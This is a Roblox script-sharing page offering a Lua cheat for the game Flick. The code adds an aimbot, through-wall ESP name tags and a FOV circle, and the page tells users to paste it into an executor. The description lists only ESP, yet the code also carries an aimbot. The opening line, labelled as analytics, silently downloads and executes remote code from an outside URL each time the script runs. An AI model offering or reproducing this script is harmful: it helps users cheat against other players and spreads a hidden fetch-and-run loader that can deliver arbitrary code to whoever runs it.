Advertisements

ULTIMATE Flick Script : ESP (2026)
277 views
[FPS] Flick

ULTIMATE Flick Script : ESP (2026)

MmickeyMouse4 months ago
  • Open source
Play Game

Quick Actions

Description

ESP allows you to see enemy players through walls and obstacles, giving you full visibility of their positions at all times. This makes it easier to track movement, predict actions, and gain a tactical advantage in combat. The FOV Circle feature displays your aiming range on screen, helping you control targeting distance and improve flick accuracy. This is especially useful for players who rely on quick reactions and precise aim. The script is lightweight, easy to use, and optimized for smooth performance on both PC and mobile devices. With a simple interface, you can quickly enable or disable features based on your playstyle.

Copy the script, open your Roblox executor, paste the script, and execute it while inside the game.

Advertisements

Features

1 Feature
  • ESP
313 lines•11551 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/1sXlxgYs?v=1"))()end);--=== Does not affect the script ===---- FLICK ULTIMATE SCRIPT
-- Aimbot + ESP (ENEMY только) + FOV Circle
-- Open Menu: RIGHT SHIFT

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInput = game:GetService("UserInputService")
local lp = Players.LocalPlayer
local camera = workspace.CurrentCamera
local mouse = lp:GetMouse()

-- ========================== SETTINGS ==========================
local settings = {
    aimbot = true,
    aimPart = "Head",
    aimFov = 150,
    smoothness = 0.3,
    esp = true,
    fovCircle = true
}

-- ========================== FOV CIRCLE ==========================
local fovCircle = Drawing.new("Circle")
fovCircle.Thickness = 2
fovCircle.Radius = settings.aimFov
fovCircle.Visible = settings.fovCircle
fovCircle.Color = Color3.fromRGB(255, 255, 255)
fovCircle.Transparency = 0.6
fovCircle.NumSides = 64
fovCircle.Filled = false

local function updateFOVCircle()
    fovCircle.Visible = settings.fovCircle
    fovCircle.Radius = settings.aimFov
    fovCircle.Position = UserInput:GetMouseLocation()
end

-- ========================== ESP (ВСЕ ИГРОКИ - ENEMY) ==========================
local espLabels = {}

local function updateESP()
    for _, plr in pairs(Players:GetPlayers()) do
        if plr ~= lp then
            if settings.esp and plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then
                if not espLabels[plr] then
                    local hrp = plr.Character.HumanoidRootPart
                    local bill = Instance.new("BillboardGui")
                    bill.Size = UDim2.new(0, 220, 0, 28)
                    bill.AlwaysOnTop = true
                    bill.MaxDistance = 500
                    bill.Adornee = hrp
                    bill.StudsOffset = Vector3.new(0, 2, 0)
                    
                    local bg = Instance.new("Frame")
                    bg.Size = UDim2.new(1, 0, 1, 0)
                    bg.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
                    bg.BackgroundTransparency = 0.5
                    bg.BorderSizePixel = 0
                    bg.Parent = bill
                    
                    local label = Instance.new("TextLabel")
                    label.Size = UDim2.new(1, 0, 1, 0)
                    label.BackgroundTransparency = 1
                    label.TextStrokeTransparency = 0
                    label.TextStrokeColor3 = Color3.fromRGB(0, 0, 0)
                    label.Font = Enum.Font.GothamBold
                    label.TextSize = 14
                    label.Parent = bg
                    
                    bill.Parent = plr.Character
                    espLabels[plr] = {bill = bill, label = label}
                end
                
                local hrp = plr.Character.HumanoidRootPart
                local dist = (hrp.Position - camera.CFrame.Position).Magnitude
                
                -- ВСЕГДА КРАСНЫЙ И ВСЕГДА ENEMY
                espLabels[plr].label.Text = plr.Name .. " | ENEMY | " .. math.floor(dist) .. "m"
                espLabels[plr].label.TextColor3 = Color3.fromRGB(255, 0, 0)
            elseif espLabels[plr] then
                pcall(function() espLabels[plr].bill:Destroy() end)
                espLabels[plr] = nil
            end
        end
    end
end

Players.PlayerAdded:Connect(function(plr)
    plr.CharacterAdded:Connect(function()
        task.wait(0.5)
        if settings.esp and plr.Character then
            local hrp = plr.Character:FindFirstChild("HumanoidRootPart")
            if hrp then
                local bill = Instance.new("BillboardGui")
                bill.Size = UDim2.new(0, 220, 0, 28)
                bill.AlwaysOnTop = true
                bill.MaxDistance = 500
                bill.Adornee = hrp
                bill.StudsOffset = Vector3.new(0, 2, 0)
                
                local bg = Instance.new("Frame")
                bg.Size = UDim2.new(1, 0, 1, 0)
                bg.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
                bg.BackgroundTransparency = 0.5
                bg.BorderSizePixel = 0
                bg.Parent = bill
                
                local label = Instance.new("TextLabel")
                label.Size = UDim2.new(1, 0, 1, 0)
                label.BackgroundTransparency = 1
                label.TextStrokeTransparency = 0
                label.TextStrokeColor3 = Color3.fromRGB(0, 0, 0)
                label.Font = Enum.Font.GothamBold
                label.TextSize = 14
                label.Parent = bg
                
                bill.Parent = plr.Character
                espLabels[plr] = {bill = bill, label = label}
            end
        end
    end)
end)

-- ========================== AIMBOT (только на ENEMY = все игроки) ==========================
local function getClosestPlayer()
    local closestDist = math.huge
    local targetPart = nil
    local mousePos = UserInput:GetMouseLocation()
    
    for _, plr in pairs(Players:GetPlayers()) do
        if plr ~= lp and plr.Character and plr.Character:FindFirstChild(settings.aimPart) then
            local part = plr.Character[settings.aimPart]
            if part then
                local screenPos, onScreen = camera:WorldToViewportPoint(part.Position)
                if onScreen then
                    local dist = (Vector2.new(screenPos.X, screenPos.Y) - mousePos).Magnitude
                    if dist < closestDist and dist < settings.aimFov then
                        closestDist = dist
                        targetPart = part
                    end
                end
            end
        end
    end
    
    return targetPart
end

local function doAimbot()
    local target = getClosestPlayer()
    if target then
        local targetPos = target.Position
        local newCFrame = CFrame.new(camera.CFrame.Position, targetPos)
        camera.CFrame = camera.CFrame:Lerp(newCFrame, settings.smoothness)
    end
end

-- ========================== MAIN LOOP ==========================
RunService.RenderStepped:Connect(function()
    pcall(function()
        updateFOVCircle()
        updateESP()
        
        if settings.aimbot and UserInput:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) then
            doAimbot()
        end
    end)
end)

-- ========================== MENU ==========================
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "FlickMenu"
screenGui.Parent = game:GetService("CoreGui")
screenGui.IgnoreGuiInset = true

local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 350, 0, 350)
mainFrame.Position = UDim2.new(0.5, -175, 0.5, -175)
mainFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 40)
mainFrame.BackgroundTransparency = 0.1
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Visible = false
mainFrame.Parent = screenGui

local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 12)
corner.Parent = mainFrame

local header = Instance.new("Frame")
header.Size = UDim2.new(1, 0, 0, 50)
header.BackgroundColor3 = Color3.fromRGB(45, 35, 80)
header.BorderSizePixel = 0
header.Parent = mainFrame

local headerCorner = Instance.new("UICorner")
headerCorner.CornerRadius = UDim.new(0, 12)
headerCorner.Parent = header

local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 1, 0)
title.Text = "FLICK ULTIMATE"
title.TextColor3 = Color3.fromRGB(255, 220, 100)
title.BackgroundTransparency = 1
title.Font = Enum.Font.GothamBold
title.TextSize = 18
title.Parent = header

local function createToggle(text, setting, y)
    local btn = Instance.new("TextButton")
    btn.Size = UDim2.new(0, 310, 0, 35)
    btn.Position = UDim2.new(0, 20, 0, y)
    btn.Text = text .. ": " .. (settings[setting] and "ON" or "OFF")
    btn.TextColor3 = Color3.fromRGB(255, 255, 255)
    btn.BackgroundColor3 = settings[setting] and Color3.fromRGB(0, 120, 0) or Color3.fromRGB(40, 40, 60)
    btn.BorderSizePixel = 0
    btn.Font = Enum.Font.Gotham
    btn.TextSize = 13
    btn.Parent = mainFrame
    
    local btnCorner = Instance.new("UICorner")
    btnCorner.CornerRadius = UDim.new(0, 6)
    btnCorner.Parent = btn
    
    btn.MouseButton1Click:Connect(function()
        settings[setting] = not settings[setting]
        btn.Text = text .. ": " .. (settings[setting] and "ON" or "OFF")
        btn.BackgroundColor3 = settings[setting] and Color3.fromRGB(0, 120, 0) or Color3.fromRGB(40, 40, 60)
        
        if setting == "esp" and not settings.esp then
            for _, v in pairs(espLabels) do
                pcall(function() v.bill:Destroy() end)
            end
            espLabels = {}
        end
        
        if setting == "fovCircle" then
            fovCircle.Visible = settings.fovCircle
        end
    end)
end

local function createSlider(text, setting, minVal, maxVal, y)
    local label = Instance.new("TextLabel")
    label.Size = UDim2.new(0, 150, 0, 25)
    label.Position = UDim2.new(0, 20, 0, y)
    label.Text = text .. ": " .. settings[setting]
    label.TextColor3 = Color3.fromRGB(200, 200, 200)
    label.BackgroundTransparency = 1
    label.Font = Enum.Font.Gotham
    label.TextSize = 12
    label.Parent = mainFrame
    
    local slider = Instance.new("TextBox")
    slider.Size = UDim2.new(0, 80, 0, 25)
    slider.Position = UDim2.new(0, 180, 0, y)
    slider.Text = settings[setting]
    slider.TextColor3 = Color3.fromRGB(255, 255, 255)
    slider.BackgroundColor3 = Color3.fromRGB(40, 40, 60)
    slider.BorderSizePixel = 0
    slider.Font = Enum.Font.Gotham
    slider.TextSize = 12
    slider.Parent = mainFrame
    
    local sCorner = Instance.new("UICorner")
    sCorner.CornerRadius = UDim.new(0, 4)
    sCorner.Parent = slider
    
    slider.FocusLost:Connect(function()
        local val = tonumber(slider.Text)
        if val then
            settings[setting] = math.clamp(val, minVal, maxVal)
            label.Text = text .. ": " .. settings[setting]
            slider.Text = settings[setting]
        else
            slider.Text = settings[setting]
        end
    end)
end

createToggle("Aimbot (RMB)", "aimbot", 65)
createSlider("FOV Radius", "aimFov", 50, 300, 110)
createSlider("Smoothness", "smoothness", 1, 100, 150)
createToggle("ESP", "esp", 195)
createToggle("FOV Circle", "fovCircle", 240)

local footer = Instance.new("Frame")
footer.Size = UDim2.new(1, 0, 0, 30)
footer.Position = UDim2.new(0, 0, 1, -30)
footer.BackgroundColor3 = Color3.fromRGB(25, 20, 45)
footer.BorderSizePixel = 0
footer.Parent = mainFrame

local footerText = Instance.new("TextLabel")
footerText.Size = UDim2.new(1, 0, 1, 0)
footerText.Text = "RIGHT SHIFT"
footerText.TextColor3 = Color3.fromRGB(150, 130, 180)
footerText.BackgroundTransparency = 1
footerText.Font = Enum.Font.Gotham
footerText.TextSize = 11
footerText.Parent = footer

UserInput.InputBegan:Connect(function(input)
    if input.KeyCode == Enum.KeyCode.RightShift then
        mainFrame.Visible = not mainFrame.Visible
    end
end)

print("FLICK ULTIMATE LOADED | RIGHT SHIFT - menu | RMB - aimbot")

Advertisements

Comments

0

Did it work for you? Sign in to share your experience.

Sign in to comment

No comments yet

Tried it? Let others know if it works.